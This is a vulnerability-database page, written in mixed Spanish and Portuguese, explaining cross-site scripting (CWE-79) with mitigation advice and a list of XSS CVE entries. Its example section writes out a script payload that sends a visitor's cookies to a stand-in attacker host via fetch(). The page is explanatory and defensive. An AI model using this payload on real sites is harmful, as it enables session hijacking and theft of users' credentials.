Fallos del tipo CWE-79

28.942 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-7617HIGHContact Form to Any API <= 1.2.4 - Unauthenticated Stored Cross-Site Scripting via Contact FormEPSS 0.6%CVE-2021-25988MEDIUMifme - Stored Cross-Site Scripting (XSS) in Notifications sectionEPSS 0.6%CVE-2023-48206MEDIUMA Cross Site Scripting (XSS) vulnerability in GaatiTrack Courier Management System 1.0 allows a remote attacker to inject JavaScript via theEPSS 0.6%CVE-2023-1755HIGHCross-site Scripting (XSS) - Generic in thorsten/phpmyfaqEPSS 0.6%CVE-2022-23054MEDIUMOpenmct XSS via the “Summary Widget”EPSS 0.6%CVE-2022-1094MEDIUMAmr Users < 4.59.4 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-1238MEDIUMCisco Firepower Management Center Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2024-51337LOWCross Site Scripting vulnerability in Gibbon before v.27.0.01 and fixed in v.28.0.00 allows a remote attacker to obtain sensitive informatioEPSS 0.6%CVE-2023-51802MEDIUMCross Site Scripting (XSS) vulnerability in the Simple Student Attendance System v.1.0 allows a remote attacker to execute arbitrary code viEPSS 0.6%CVE-2023-4432HIGHCross-site Scripting (XSS) - Reflected in cockpit-hq/cockpitEPSS 0.6%CVE-2022-23065MEDIUMVendure - XSS via SVG File UploadEPSS 0.6%CVE-2022-22126MEDIUMOpenmct XSS via the “Web Page” elementEPSS 0.6%CVE-2021-25990MEDIUMifme - Stored Cross-Site Scripting (XSS) in Contacts sectionEPSS 0.6%CVE-2024-52763MEDIUMA cross-site scripting (XSS) vulnerability in the component /graph_all_periods.php of Ganglia-web v3.73 to v3.75 allows attackers to executeEPSS 0.6%CVE-2024-28436MEDIUMCross Site Scripting vulnerability in D-Link DAP products DAP-2230, DAP-2310, DAP-2330, DAP-2360, DAP-2553, DAP-2590, DAP-2690, DAP-2695, DAEPSS 0.6%CVE-2026-32754CRITICALFreeScout: Stored XSS via Unescaped Email Template Rendering ({!! $thread->body !!})EPSS 0.6%CVE-2022-23053MEDIUMOpenmct XSS via the “Condition Widget”EPSS 0.6%CVE-2021-1239MEDIUMCisco Firepower Management Center Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2021-25989MEDIUMifme - Stored Cross-Site Scripting (XSS) in Groups sectionEPSS 0.6%CVE-2022-34297MEDIUMYii Yii2 Gii through 2.2.4 allows stored XSS by injecting a payload into any field.EPSS 0.6%